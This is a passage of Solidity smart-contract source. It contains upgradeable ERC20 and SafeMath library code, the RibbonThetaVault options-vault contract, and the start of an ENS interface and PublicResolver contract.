function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
//
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable {
using SafeMathUpgradeable for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name_, symbol_);
}
function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
uint256[44] private __gap;
}
contract OptionsVaultStorageV1 is
ReentrancyGuardUpgradeable,
OwnableUpgradeable,
ERC20Upgradeable
{
// DEPRECATED: This variable was originally used to store the asset address we are using as collateral
// But due to gas optimization and upgradeability security concerns,
// we removed it in favor of using immutable variables
// This variable is left here to hold the storage slot for upgrades
address private _oldAsset;
// Privileged role that is able to select the option terms (strike price, expiry) to short
address public manager;
// Option that the vault is shorting in the next cycle
address public nextOption;
// The timestamp when the `nextOption` can be used by the vault
uint256 public nextOptionReadyAt;
// Option that the vault is currently shorting
address public currentOption;
// Amount that is currently locked for selling options
uint256 public lockedAmount;
// Cap for total amount deposited into vault
uint256 public cap;
// Fee incurred when withdrawing out of the vault, in the units of 10**18
// where 1 ether = 100%, so 0.005 means 0.5% fee
uint256 public instantWithdrawalFee;
// Recipient for withdrawal fees
address public feeRecipient;
}
contract OptionsVaultStorage is OptionsVaultStorageV1 {
}
//
contract RibbonThetaVault is DSMath, OptionsVaultStorage {
using ProtocolAdapter for IProtocolAdapter;
using SafeERC20 for IERC20;
using SafeMath for uint256;
string private constant _adapterName = "OPYN_GAMMA";
IProtocolAdapter public immutable adapter;
address public immutable asset;
address public immutable underlying;
address public immutable WETH;
address public immutable USDC;
bool public immutable isPut;
uint8 private immutable _decimals;
// AirSwap Swap contract
// https://github.com/airswap/airswap-protocols/blob/master/source/swap/contracts/interfaces/ISwap.sol
ISwap public immutable SWAP_CONTRACT;
// 90% locked in options protocol, 10% of the pool reserved for withdrawals
uint256 public constant lockedRatio = 0.9 ether;
uint256 public constant delay = 1 hours;
uint256 public immutable MINIMUM_SUPPLY;
event ManagerChanged(address oldManager, address newManager);
event Deposit(address indexed account, uint256 amount, uint256 share);
event Withdraw(
address indexed account,
uint256 amount,
uint256 share,
uint256 fee
);
event OpenShort(
address indexed options,
uint256 depositAmount,
address manager
);
event CloseShort(
address indexed options,
uint256 withdrawAmount,
address manager
);
event WithdrawalFeeSet(uint256 oldFee, uint256 newFee);
event CapSet(uint256 oldCap, uint256 newCap, address manager);
/**
* @notice Initializes the contract with immutable variables
* @param _asset is the asset used for collateral and premiums
* @param _weth is the Wrapped Ether contract
* @param _usdc is the USDC contract
* @param _swapContract is the Airswap Swap contract
* @param _tokenDecimals is the decimals for the vault shares. Must match the decimals for _asset.
* @param _minimumSupply is the minimum supply for the asset balance and the share supply.
* It's important to bake the _factory variable into the contract with the constructor
* If we do it in the `initialize` function, users get to set the factory variable and
* subsequently the adapter, which allows them to make a delegatecall, then selfdestruct the contract.
*/
constructor(
address _asset,
address _factory,
address _weth,
address _usdc,
address _swapContract,
uint8 _tokenDecimals,
uint256 _minimumSupply,
bool _isPut
) {
require(_asset != address(0), "!_asset");
require(_factory != address(0), "!_factory");
require(_weth != address(0), "!_weth");
require(_usdc != address(0), "!_usdc");
require(_swapContract != address(0), "!_swapContract");
require(_tokenDecimals > 0, "!_tokenDecimals");
require(_minimumSupply > 0, "!_minimumSupply");
IRibbonFactory factoryInstance = IRibbonFactory(_factory);
address adapterAddr = factoryInstance.getAdapter(_adapterName);
require(adapterAddr != address(0), "Adapter not set");
asset = _isPut ? _usdc : _asset;
underlying = _asset;
adapter = IProtocolAdapter(adapterAddr);
WETH = _weth;
USDC = _usdc;
SWAP_CONTRACT = ISwap(_swapContract);
_decimals = _tokenDecimals;
MINIMUM_SUPPLY = _minimumSupply;
isPut = _isPut;
}
/**
* @notice Initializes the OptionVault contract with storage variables.
* @param _owner is the owner of the contract who can set the manager
* @param _feeRecipient is the recipient address for withdrawal fees.
* @param _initCap is the initial vault's cap on deposits, the manager can increase this as necessary.
* @param _tokenName is the name of the vault share token
* @param _tokenSymbol is the symbol of the vault share token
*/
function initialize(
address _owner,
address _feeRecipient,
uint256 _initCap,
string calldata _tokenName,
string calldata _tokenSymbol
) external initializer {
require(_owner != address(0), "!_owner");
require(_feeRecipient != address(0), "!_feeRecipient");
require(_initCap > 0, "_initCap > 0");
require(bytes(_tokenName).length > 0, "_tokenName != 0x");
require(bytes(_tokenSymbol).length > 0, "_tokenSymbol != 0x");
__ReentrancyGuard_init();
__ERC20_init(_tokenName, _tokenSymbol);
__Ownable_init();
transferOwnership(_owner);
cap = _initCap;
// hardcode the initial withdrawal fee
instantWithdrawalFee = 0.005 ether;
feeRecipient = _feeRecipient;
}
/**
* @notice Sets the new manager of the vault.
* @param newManager is the new manager of the vault
*/
function setManager(address newManager) external onlyOwner {
require(newManager != address(0), "!newManager");
address oldManager = manager;
manager = newManager;
emit ManagerChanged(oldManager, newManager);
}
/**
* @notice Sets the new fee recipient
* @param newFeeRecipient is the address of the new fee recipient
*/
function setFeeRecipient(address newFeeRecipient) external onlyOwner {
require(newFeeRecipient != address(0), "!newFeeRecipient");
feeRecipient = newFeeRecipient;
}
/**
* @notice Sets the new withdrawal fee
* @param newWithdrawalFee is the fee paid in tokens when withdrawing
*/
function setWithdrawalFee(uint256 newWithdrawalFee) external onlyManager {
require(newWithdrawalFee > 0, "withdrawalFee != 0");
// cap max withdrawal fees to 30% of the withdrawal amount
require(newWithdrawalFee < 0.3 ether, "withdrawalFee >= 30%");
uint256 oldFee = instantWithdrawalFee;
emit WithdrawalFeeSet(oldFee, newWithdrawalFee);
instantWithdrawalFee = newWithdrawalFee;
}
/**
* @notice Deposits ETH into the contract and mint vault shares. Reverts if the underlying is not WETH.
*/
function depositETH() external payable nonReentrant {
require(asset == WETH, "asset is not WETH");
require(msg.value > 0, "No value passed");
IWETH(WETH).deposit{value: msg.value}();
_deposit(msg.value);
}
/**
* @notice Deposits the `asset` into the contract and mint vault shares.
* @param amount is the amount of `asset` to deposit
*/
function deposit(uint256 amount) external nonReentrant {
IERC20(asset).safeTransferFrom(msg.sender, address(this), amount);
_deposit(amount);
}
/**
* @notice Mints the vault shares to the msg.sender
* @param amount is the amount of `asset` deposited
*/
function _deposit(uint256 amount) private {
uint256 totalWithDepositedAmount = totalBalance();
require(totalWithDepositedAmount < cap, "Cap exceeded");
require(
totalWithDepositedAmount >= MINIMUM_SUPPLY,
"Insufficient asset balance"
);
// amount needs to be subtracted from totalBalance because it has already been
// added to it from either IWETH.deposit and IERC20.safeTransferFrom
uint256 total = totalWithDepositedAmount.sub(amount);
uint256 shareSupply = totalSupply();
// Following the pool share calculation from Alpha Homora:
// solhint-disable-next-line
// https://github.com/AlphaFinanceLab/alphahomora/blob/340653c8ac1e9b4f23d5b81e61307bf7d02a26e8/contracts/5/Bank.sol#L104
uint256 share =
shareSupply == 0 ? amount : amount.mul(shareSupply).div(total);
require(
shareSupply.add(share) >= MINIMUM_SUPPLY,
"Insufficient share supply"
);
emit Deposit(msg.sender, amount, share);
_mint(msg.sender, share);
}
/**
* @notice Withdraws ETH from vault using vault shares
* @param share is the number of vault shares to be burned
*/
function withdrawETH(uint256 share) external nonReentrant {
require(asset == WETH, "!WETH");
uint256 withdrawAmount = _withdraw(share);
IWETH(WETH).withdraw(withdrawAmount);
(bool success, ) = msg.sender.call{value: withdrawAmount}("");
require(success, "ETH transfer failed");
}
/**
* @notice Withdraws WETH from vault using vault shares
* @param share is the number of vault shares to be burned
*/
function withdraw(uint256 share) external nonReentrant {
uint256 withdrawAmount = _withdraw(share);
IERC20(asset).safeTransfer(msg.sender, withdrawAmount);
}
/**
* @notice Burns vault shares and checks if eligible for withdrawal
* @param share is the number of vault shares to be burned
*/
function _withdraw(uint256 share) private returns (uint256) {
(uint256 amountAfterFee, uint256 feeAmount) =
withdrawAmountWithShares(share);
emit Withdraw(msg.sender, amountAfterFee, share, feeAmount);
_burn(msg.sender, share);
IERC20(asset).safeTransfer(feeRecipient, feeAmount);
return amountAfterFee;
}
/**
* @notice Sets the next option the vault will be shorting,
* and closes the existing short. This allows all the users to withdraw
* if the next option is malicious.
*/
function commitAndClose(
ProtocolAdapterTypes.OptionTerms calldata optionTerms
) external onlyManager nonReentrant {
_setNextOption(optionTerms);
_closeShort();
}
function closeShort() external nonReentrant {
_closeShort();
}
/**
* @notice Sets the next option address and the timestamp at which the
* admin can call `rollToNextOption` to open a short for the option.
* @param optionTerms is the terms of the option contract
*/
function _setNextOption(
ProtocolAdapterTypes.OptionTerms calldata optionTerms
) private {
if (isPut) {
require(
optionTerms.optionType == ProtocolAdapterTypes.OptionType.Put,
"!put"
);
} else {
require(
optionTerms.optionType == ProtocolAdapterTypes.OptionType.Call,
"!call"
);
}
address option = adapter.getOptionsAddress(optionTerms);
require(option != address(0), "!option");
OtokenInterface otoken = OtokenInterface(option);
require(otoken.isPut() == isPut, "Option type does not match");
require(
otoken.underlyingAsset() == underlying,
"Wrong underlyingAsset"
);
require(otoken.collateralAsset() == asset, "Wrong collateralAsset");
// we just assume all options use USDC as the strike
require(otoken.strikeAsset() == USDC, "strikeAsset != USDC");
uint256 readyAt = block.timestamp.add(delay);
require(
otoken.expiryTimestamp() >= readyAt,
"Option expiry cannot be before delay"
);
nextOption = option;
nextOptionReadyAt = readyAt;
}
/**
* @notice Closes the existing short position for the vault.
*/
function _closeShort() private {
address oldOption = currentOption;
currentOption = address(0);
lockedAmount = 0;
if (oldOption != address(0)) {
OtokenInterface otoken = OtokenInterface(oldOption);
require(
block.timestamp > otoken.expiryTimestamp(),
"Cannot close short before expiry"
);
uint256 withdrawAmount = adapter.delegateCloseShort();
emit CloseShort(oldOption, withdrawAmount, msg.sender);
}
}
/**
* @notice Rolls the vault's funds into a new short position.
*/
function rollToNextOption() external onlyManager nonReentrant {
require(
block.timestamp >= nextOptionReadyAt,
"Cannot roll before delay"
);
address newOption = nextOption;
require(newOption != address(0), "No found option");
currentOption = newOption;
nextOption = address(0);
uint256 currentBalance = IERC20(asset).balanceOf(address(this));
uint256 shortAmount = wmul(currentBalance, lockedRatio);
lockedAmount = shortAmount;
OtokenInterface otoken = OtokenInterface(newOption);
ProtocolAdapterTypes.OptionTerms memory optionTerms =
ProtocolAdapterTypes.OptionTerms(
otoken.underlyingAsset(),
USDC,
otoken.collateralAsset(),
otoken.expiryTimestamp(),
otoken.strikePrice().mul(10**10), // scale back to 10**18
isPut
? ProtocolAdapterTypes.OptionType.Put
: ProtocolAdapterTypes.OptionType.Call, // isPut
address(0)
);
uint256 shortBalance =
adapter.delegateCreateShort(optionTerms, shortAmount);
IERC20 optionToken = IERC20(newOption);
optionToken.safeApprove(address(SWAP_CONTRACT), shortBalance);
emit OpenShort(newOption, shortAmount, msg.sender);
}
/**
* @notice Withdraw from the options protocol by closing short in an event of a emergency
*/
function emergencyWithdrawFromShort() external onlyManager nonReentrant {
address oldOption = currentOption;
require(oldOption != address(0), "!currentOption");
currentOption = address(0);
nextOption = address(0);
lockedAmount = 0;
uint256 withdrawAmount = adapter.delegateCloseShort();
emit CloseShort(oldOption, withdrawAmount, msg.sender);
}
/**
* @notice Performs a swap of `currentOption` token to `asset` token with a counterparty
* @param order is an Airswap order
*/
function sellOptions(Types.Order calldata order) external onlyManager {
require(
order.sender.wallet == address(this),
"Sender can only be vault"
);
require(
order.sender.token == currentOption,
"Can only sell currentOption"
);
require(order.signer.token == asset, "Can only buy with asset token");
SWAP_CONTRACT.swap(order);
}
/**
* @notice Sets a new cap for deposits
* @param newCap is the new cap for deposits
*/
function setCap(uint256 newCap) external onlyManager {
uint256 oldCap = cap;
cap = newCap;
emit CapSet(oldCap, newCap, msg.sender);
}
/**
* @notice Returns the expiry of the current option the vault is shorting
*/
function currentOptionExpiry() external view returns (uint256) {
address _currentOption = currentOption;
if (_currentOption == address(0)) {
return 0;
}
OtokenInterface oToken = OtokenInterface(currentOption);
return oToken.expiryTimestamp();
}
/**
* @notice Returns the amount withdrawable (in `asset` tokens) using the `share` amount
* @param share is the number of shares burned to withdraw asset from the vault
* @return amountAfterFee is the amount of asset tokens withdrawable from the vault
* @return feeAmount is the fee amount (in asset tokens) sent to the feeRecipient
*/
function withdrawAmountWithShares(uint256 share)
public
view
returns (uint256 amountAfterFee, uint256 feeAmount)
{
uint256 currentAssetBalance = assetBalance();
(
uint256 withdrawAmount,
uint256 newAssetBalance,
uint256 newShareSupply
) = _withdrawAmountWithShares(share, currentAssetBalance);
require(
withdrawAmount <= currentAssetBalance,
"Cannot withdraw more than available"
);
require(newShareSupply >= MINIMUM_SUPPLY, "Insufficient share supply");
require(
newAssetBalance >= MINIMUM_SUPPLY,
"Insufficient asset balance"
);
feeAmount = wmul(withdrawAmount, instantWithdrawalFee);
amountAfterFee = withdrawAmount.sub(feeAmount);
}
/**
* @notice Helper function to return the `asset` amount returned using the `share` amount
* @param share is the number of shares used to withdraw
* @param currentAssetBalance is the value returned by totalBalance(). This is passed in to save gas.
*/
function _withdrawAmountWithShares(
uint256 share,
uint256 currentAssetBalance
)
private
view
returns (
uint256 withdrawAmount,
uint256 newAssetBalance,
uint256 newShareSupply
)
{
uint256 total = lockedAmount.add(currentAssetBalance);
uint256 shareSupply = totalSupply();
// solhint-disable-next-line
// Following the pool share calculation from Alpha Homora: https://github.com/AlphaFinanceLab/alphahomora/blob/340653c8ac1e9b4f23d5b81e61307bf7d02a26e8/contracts/5/Bank.sol#L111
withdrawAmount = share.mul(total).div(shareSupply);
newAssetBalance = total.sub(withdrawAmount);
newShareSupply = shareSupply.sub(share);
}
/**
* @notice Returns the max withdrawable shares for all users in the vault
*/
function maxWithdrawableShares() public view returns (uint256) {
uint256 withdrawableBalance = assetBalance();
uint256 total = lockedAmount.add(withdrawableBalance);
return
withdrawableBalance.mul(totalSupply()).div(total).sub(
MINIMUM_SUPPLY
);
}
/**
* @notice Returns the max amount withdrawable by an account using the account's vault share balance
* @param account is the address of the vault share holder
* @return amount of `asset` withdrawable from vault, with fees accounted
*/
function maxWithdrawAmount(address account)
external
view
returns (uint256)
{
uint256 maxShares = maxWithdrawableShares();
uint256 share = balanceOf(account);
uint256 numShares = min(maxShares, share);
(uint256 withdrawAmount, , ) =
_withdrawAmountWithShares(numShares, assetBalance());
return withdrawAmount;
}
/**
* @notice Returns the number of shares for a given `assetAmount`.
* Used by the frontend to calculate withdraw amounts.
* @param assetAmount is the asset amount to be withdrawn
* @return share amount
*/
function assetAmountToShares(uint256 assetAmount)
external
view
returns (uint256)
{
uint256 total = lockedAmount.add(assetBalance());
return assetAmount.mul(totalSupply()).div(total);
}
/**
* @notice Returns an account's balance on the vault
* @param account is the address of the user
* @return vault balance of the user
*/
function accountVaultBalance(address account)
external
view
returns (uint256)
{
(uint256 withdrawAmount, , ) =
_withdrawAmountWithShares(balanceOf(account), assetBalance());
return withdrawAmount;
}
/**
* @notice Returns the vault's total balance, including the amounts locked into a short position
* @return total balance of the vault, including the amounts locked in third party protocols
*/
function totalBalance() public view returns (uint256) {
return lockedAmount.add(IERC20(asset).balanceOf(address(this)));
}
/**
* @notice Returns the asset balance on the vault. This balance is freely withdrawable by users.
*/
function assetBalance() public view returns (uint256) {
return IERC20(asset).balanceOf(address(this));
}
/**
* @notice Returns the token decimals
*/
function decimals() public view override returns (uint8) {
return _decimals;
}
/**
* @notice Only allows manager to execute a function
*/
modifier onlyManager {
require(msg.sender == manager, "Only manager");
_;
}
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pragma solidity ^0.4.24;
interface ENS {
// Logged when the owner of a node assigns a new owner to a subnode.
event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner);
// Logged when the owner of a node transfers ownership to a new account.
event Transfer(bytes32 indexed node, address owner);
// Logged when the resolver for a node changes.
event NewResolver(bytes32 indexed node, address resolver);
// Logged when the TTL of a node changes
event NewTTL(bytes32 indexed node, uint64 ttl);
function setSubnodeOwner(bytes32 node, bytes32 label, address owner) external;
function setResolver(bytes32 node, address resolver) external;
function setOwner(bytes32 node, address owner) external;
function setTTL(bytes32 node, uint64 ttl) external;
function owner(bytes32 node) external view returns (address);
function resolver(bytes32 node) external view returns (address);
function ttl(bytes32 node) external view returns (uint64);
}
/**
* A simple resolver anyone can use; only allows the owner of a node to set its
* address.
* Updated with nonfunctional changes
*/
contract PublicResolver {
bytes4 constant INTERFACE_META_ID = 0x01ffc9a7;
